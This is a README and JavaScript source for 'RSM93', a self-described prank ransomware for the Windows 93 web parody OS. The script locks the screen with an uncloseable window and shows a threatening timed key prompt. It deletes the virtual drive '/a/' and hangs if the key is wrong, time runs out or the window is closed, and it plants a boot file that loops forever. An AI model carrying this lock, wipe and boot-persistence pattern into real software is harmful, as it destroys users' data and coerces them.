RSM93

A javascript script for Windows 93 that acts as a ransomware. (this does not actually ask for money in return for a safe pc)

/*
  made by coolkase for windows93.net

  This work is licensed under a Creative Commons Attribution 4.0 International License.
*/

var desktopHider = $window(
  {
    title: 'RSM93 Hider',
    html: '<audio autoplay="true" src="https://coolkase.dev/static/goodjobbro.mp3" controls="" loop="" style="display: none;" id="audio"></audio> <style>body {background-color: #f00}</style>',
    closeable: false,
    draggable: false,
    minimizeable: false,
    dockable: false,
    header: false,
    resizable: false,
    
    baseWidth: 10000,
    baseHeight: 10000,
    
    onclose: crash,
    onminimize: crash,
    ondestroy: crash,
  }
);

var crashWork = true;

var error = $alert.error('Your computer has been comprimised by RSM93. Any attempted rebooting or window closing will result in a fatal crash in addition with a total hard drive wipe.', crash);

var help = $alert.help(`
<h2><i>How do I get my computer back?</i></h2>
You can get your computer back by entering the correct key in, which you get by <s>sending 0.25 BTC to my bitcoin wallet</s> asking me from any source on <a href='https://coolkase.dev'>my website</a>.
<h2><i>How much time do I have?</i></h2>
You get 5 minutes to complete this. Otherwise, you'll get a fatal crash in addition with a total hard drive wipe.
<h2><i>Bazinga?</i></h2>
Bazinga, perchance.
`);

var keyPrompt = $prompt('Enter the key in the textbox below. You <b>MUST</b> get it correct the first time to avoid a fatal crash in addition with a total hard drive wipe.', '', key);
    
var timer = $alert.progress("Type in the key before time runs out!", "Digital Execution Timer");
var progress = 0;

timerUpdate();

async function timerUpdate() {
  while (progress < 100) {
      await new Promise(resolve => setTimeout(resolve, 1000))
        .then(() => {
          progress += 100/(60*5);
          timer.update(progress);
        });
  }
  crash();
}

function key(ok, key) {
  if (ok && key == 'VerySmartKey93') {
    crashWork = false;
    $file.delete('/a/boot/system42.js');
    $exe('killall');

    $alert.info('You did done that do!!111!!!111!1111');
  } else {
    crash();
  }
}

function crash() {
  if (crashWork) {
    $file.delete('/a/'); // deletes the whole drive
    for (;;) {} // fatal
  }
}

$file.save('/a/boot/system42.js', 'for (;;) {}');